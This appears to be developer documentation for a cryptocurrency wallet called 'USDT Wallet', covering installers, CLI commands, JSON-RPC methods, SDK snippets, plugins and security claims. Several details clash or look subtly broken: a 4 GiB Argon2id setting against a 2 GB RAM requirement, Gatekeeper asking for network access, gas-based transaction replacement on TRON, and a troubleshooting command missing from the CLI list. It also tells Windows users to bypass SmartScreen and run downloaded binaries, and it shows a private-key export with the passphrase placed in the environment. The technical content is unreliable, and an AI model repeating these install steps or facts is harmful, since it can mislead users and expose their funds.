Developer Documentation

Everything you need to extend, script and embed USDT Wallet: installation guides, JSON-RPC reference, CLI handbook, SDK examples & security practices — all in one cohesive manual.

/ 1 Quick Start

USDT Wallet ships with a self-contained runtime, so you can be up and running in < 60 seconds. Grab the latest release, verify the signature and launch:

# macOS (Universal)
curl -LO https://cdn.usdt-wallet.org/release/3.1.2.dmg.asc
curl -LO https://cdn.usdt-wallet.org/release/3.1.2.dmg
gpg --verify 3.1.2.dmg.asc 3.1.2.dmg
open 3.1.2.dmg

# Linux (AppImage)
curl -LO https://cdn.usdt-wallet.org/release/3.1.2.AppImage
chmod +x 3.1.2.AppImage
./3.1.2.AppImage --install

Prerequisites

  • GPG 2.2+ with the USDT Wallet release key imported
  • At least 2 GB RAM & 200 MB free disk space
  • TRON node RPC endpoint (optional, defaults to public gateway)

First-run wizard

On first launch the wizard will generate a 12-word BIP-39 seed. Write it down — it grants full access to your funds. USDT Wallet will then sync headers (~45 s on broadband) and prompt you to enable biometric unlock (optional but recommended).

/ 2 Full Installation

USDT Wallet offers native installers for every major OS. Each bundle includes the GUI, CLI and embedded light node.

System requirements

PlatformCPURAMDisk
Windows 10/11AMD64 / ARM644 GB260 MB
macOS 11+Apple Silicon / Intel4 GB230 MB
Linux 3.10+x86-64 / aarch642 GB210 MB

Windows 10 / 11

  1. Download USDT-Wallet-3.1.2.exe from the official site.
  2. Double-click the installer (signed by USDT Wallet Inc.) and follow the prompts.
  3. The CLI (uw.exe) is copied to %ProgramFiles%\USDT-Wallet\bin and added to PATH automatically.
  4. If SmartScreen appears, click More info → Run anyway — the EV certificate validates publisher identity.

macOS 11 +

  1. Mount the DMG and drag USDT Wallet into /Applications.
  2. On first launch macOS Gatekeeper will ask to allow network access — click Allow.
  3. The CLI binary (uw) is symlinked to /usr/local/bin.
  4. To enable Touch ID unlock run uw settings set biometric true.

Linux (deb, rpm, AppImage)

AppImage bundles work out-of-the-box on any modern distro. Native DEBs/RPMs integrate with desktop launchers and provide systemd helpers.

  • sudo dpkg -i usdt-wallet_3.1.2_amd64.deb
  • sudo dnf install usdt-wallet-3.1.2.x86_64.rpm
  • chmod +x USDT-Wallet-3.1.2.AppImage && ./USDT-Wallet-3.1.2.AppImage

/ 3 Architecture Overview

USDT Wallet follows a three-layer design:

  • UI Layer — Svelte/TypeScript desktop front-end
  • Core SDK — Rust crate compiled to native & WASM
  • Embedded Node — TRON-Go light client handling RPC

All inter-process calls are made over jsonrpc-unix sockets, isolating the private-key engine from the renderer. Plugins hook into the Core SDK via ABI-stable C FFI.

/ 4 CLI Reference

The uw command-line tool exposes every wallet function for servers, CI pipelines or power users.

Synopsis

uw <command> [options]

Commands:
  balance              Show asset balances
  send                 Transfer TRX / USDT / USDC
  swap                 Atomic swap between tokens
  stake                Delegate TRX for energy/bandwidth
  key export           Dump private key (unsafe!)
  daemon start|stop    Control background node
  plugin install|rm    Manage third-party plugins
  help <command>       Show command-specific help

Global options

FlagDescriptionDefault
--networkSelect mainnet / testnet / custom RPCmainnet
--walletPath to custom wallet file~/.usdt-wallet/default.uw
--jsonMachine-readable outputfalse

Environment variables

  • UW_PASSPHRASE — Supply unlock passphrase non-interactively
  • UW_RPC — Override RPC endpoint for light node
  • UW_LOG — Set log level (error,warn,info,debug,trace)

Examples

# Check current portfolio in USD and EUR
$ uw balance --fiat USD,EUR

# Send 250 USDT with a custom memo
$ uw send TX5...abc 250 USDT --memo "Invoice #582"

# Swap 100 USDC → TRX and auto-stake
$ uw swap 100 USDC TRX --stake

# Export private key (prompt for passphrase)
$ UW_PASSPHRASE="hunter2" uw key export --format wif > key.wif

/ 5 JSON-RPC API

Start the embedded node with uw daemon start, then hit http://127.0.0.1:8546. Every payload must include jsonrpc: "2.0" and an id.

Methods

MethodDescriptionParamsReturns
uw_getBalanceConfirmed balance[address, asset]string (decimals)
uw_sendBroadcast signed txto, amount, asset, memo?txHash
uw_swapQuoteDEX aggregator quotefromAsset, toAsset, amountpriceImpact, route
uw_pluginCallInvoke plugin methodnamespace.method, args...json

Sample request

curl -s -X POST http://127.0.0.1:8546 \
  -H "Content-Type: application/json" \
  -d '{
        "jsonrpc":"2.0",
        "id":1,
        "method":"uw_getBalance",
        "params":["TXYZ...abc", "TRX"]
      }'

Error handling

Errors follow the Ethereum JSON-RPC spec (code, message, data). Custom codes start at -53000.

/ 6 SDK Integration

USDT Wallet ships official bindings for JavaScript, Swift and Kotlin. All SDKs share the same surface, so swapping platforms is trivial.

JavaScript / TypeScript

npm install @usdt-wallet/sdk
# or
yarn add @usdt-wallet/sdk
import { UsdtWallet } from "@usdt-wallet/sdk";

const wallet = await UsdtWallet.open();
await wallet.unlockWithPasscode("••••••");

const balance = await wallet.getBalance("USDC");
console.log(`You have ${balance} USDC`);

iOS (Swift PM)

.package(url: "https://github.com/usdt-wallet/ios-sdk.git", from: "3.1.0")
import UsdtWallet

let wallet = try UsdtWallet.open()
try wallet.unlock(biometry: .faceID)

let quote = try await wallet.swapQuote(
    from: .usdt, to: .trx, amount: 150
)
print(quote.priceImpact)

Android (Kotlin)

implementation("org.usdtwallet:sdk:3.1.0")
val wallet = UsdtWallet.open(context)
wallet.unlockWithBiometry()

val txHash = wallet.send(
    to = "TXQN...xyz",
    amount = BigDecimal("12.5"),
    asset = Asset.TRX
)
println("Broadcasted at $txHash")

/ 7 Plugin System

USDT Wallet supports sandboxed plugins written in Rust, Go or JavaScript via WASI. Each plugin runs in its own process with a sealed capability set.

Manifest structure

{
  "name": "uw-example-plugin",
  "version": "0.1.0",
  "entry": "plugin.wasm",
  "capabilities": ["rpc", "ui"],
  "permissions": {
    "network": ["https://api.coingecko.com"],
    "fs": ["~/Downloads"]
  }
}

Publish plugins to the official registry or sideload with uw plugin install ./my.wasm.

/ 8 Security Practices

  • Memory-hard encryption — keys encrypted with Argon2id (4 GiB RAM, 3 rounds)
  • M-of-N social recovery — Shamir shards sealed with guardian passphrases
  • Reproducible builds — verified via GitHub Actions & sigstore
  • Hardware attestation — Ledger & YubiKey via FIDO2 + WebAuthn
  • Continuous auditing — Cure53, Trail of Bits, NCC Group rotate quarterly

/ 9 Troubleshooting

Daemon won’t start (port 8546 in use)

Another process is already listening. Check with lsof -i :8546 then either kill it or start the daemon on a custom port:

uw daemon start --port 9555

Transaction stuck in pending

Use uw resend --id 0xABC123 --gas 1.2x to re-broadcast with a 20 % higher fee. The old tx is automatically replaced.

Incorrect time-sync

Block timestamps follow NTP. Ensure your system time is correct or enable auto-sync (timedatectl set-ntp true on Linux).

/ 10 Glossary

TermMeaning
UTXO-lessAccount-based ledger instead of Unspent Tx Outputs
EnergyTRON resource consumed to execute smart-contract byte-code
BandwidthResource to cover transaction bytes (not computation)
TVLTotal Value Locked in DeFi pools
Argon2idMemory-hard KDF resistant to GPU cracking
FIDO2Web standard for hardware-bound, phishing-proof auth